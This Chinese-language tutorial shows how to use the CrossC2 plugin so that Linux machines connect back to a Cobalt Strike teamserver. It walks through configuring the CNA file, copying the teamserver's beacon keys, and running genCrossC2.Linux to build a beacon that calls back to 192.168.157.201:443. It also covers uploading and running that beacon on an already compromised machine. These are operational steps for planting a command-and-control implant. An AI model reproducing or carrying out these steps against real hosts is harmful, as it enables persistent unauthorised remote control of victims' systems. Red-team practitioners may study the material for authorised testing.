概述
利用CrossC2插件解决Linux无法上线CobaltStrike
插件地址
https://github.com/gloxec/CrossC2
使用
下载需要的CNA以及CS客户端类型
配置CNA文件
$CC2_PATH是插件的绝对路径
$CC2_BIN 是配置客户端类型
根据路径修改为
1 | $CC2_PATH = "D:\\TPA\\CS CNA\\CrossC2\\"; # <-------- fix |
下载服务端
下载teamserver下的.cobaltstrike.beacon_keys
文件到本地
创建CrossC2 Listener
进行响应配置
点击build,看Log执行了成功生成了t_c22.out
和t_c22.out.lib
在CS的客户端目录进行查看
上线Linux机器
选择C2的监听器,之后执行curl命令
到这里来说应该上线了,但是没有很看了很多资料文章无法解决,到这里采用第二种方式不用GUI插件了(还是命令好使)
命令生成上线
首先建一个HTTPS的监听器,必须是HTTPS
将服务器的.cobaltstrike.beacon_keys
文件放在与下载的genCrossC2.Linux在同一目录下,我直接将genCrossC2.Linux放在了Teamserver的目录下(也可以指定)
给执行权限然后执行命令
1 | ./genCrossC2.Linux 192.168.157.201 443 null null Linux x64 test |
上传到getshell的机器执行test文件,成功上线Linux机器
__END__